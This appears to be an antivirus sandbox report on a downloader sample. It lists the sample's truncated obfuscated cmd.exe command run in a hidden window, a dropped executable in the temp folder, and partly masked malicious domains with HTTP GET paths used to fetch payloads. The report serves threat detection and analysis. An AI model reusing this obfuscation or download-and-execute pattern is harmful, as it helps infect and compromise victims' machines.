Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /V:/C"set icX=izXquhBIwbtEjbVz5CLc32F)SdOskxZo8,Y{l\yPm;$pMeD-KvnrNJ1}a+@g.=W' f/:7(&&for %6 in (43;31;8;45;51;27;5;45;36;36;64;42;34;43;26;61;50;45;8;47;31;13;12;45;19;10;64;52;45;10;60;62;45;...
Modifies file system
Creates the following files
- %TEMP%\721.exe
Network activity
Connects to
- 'ne###a-ent.com':80
- 'ne###a-ent.com':443
- 'ek###.com.br':80
- 'ne####ros.com.br':80
- 'n-###imoto.jp':80
- 'n-###imoto.jp':443
- 'ms##api.com':80
TCP
HTTP GET requests
- http://ne###a-ent.com/t3
- http://ek###.com.br/XWWpLxCI
- http://ne####ros.com.br/bin/zoZb
- http://n-###imoto.jp/j583VppF
- http://ms##api.com/mscinsaat.com/cWBJXY3
Other
- 'ne###a-ent.com':443
- 'n-###imoto.jp':443
UDP
- DNS ASK ne###a-ent.com
- DNS ASK ek###.com.br
- DNS ASK ne####ros.com.br
- DNS ASK n-###imoto.jp
- DNS ASK ms##api.com
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: '3625237444'
- ClassName: '' WindowName: '0'
- ClassName: '' WindowName: ''
- ClassName: '' WindowName: ' '
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /V:/C"set icX=izXquhBIwbtEjbVz5CLc32F)SdOskxZo8,Y{l\yPm;$pMeD-KvnrNJ1}a+@g.=W' f/:7(&&for %6 in (43;31;8;45;51;27;5;45;36;36;64;42;34;43;26;61;50;45;8;47;31;13;12;45;19;10;64;52;45;10;60;62;45;...' (with hidden window)
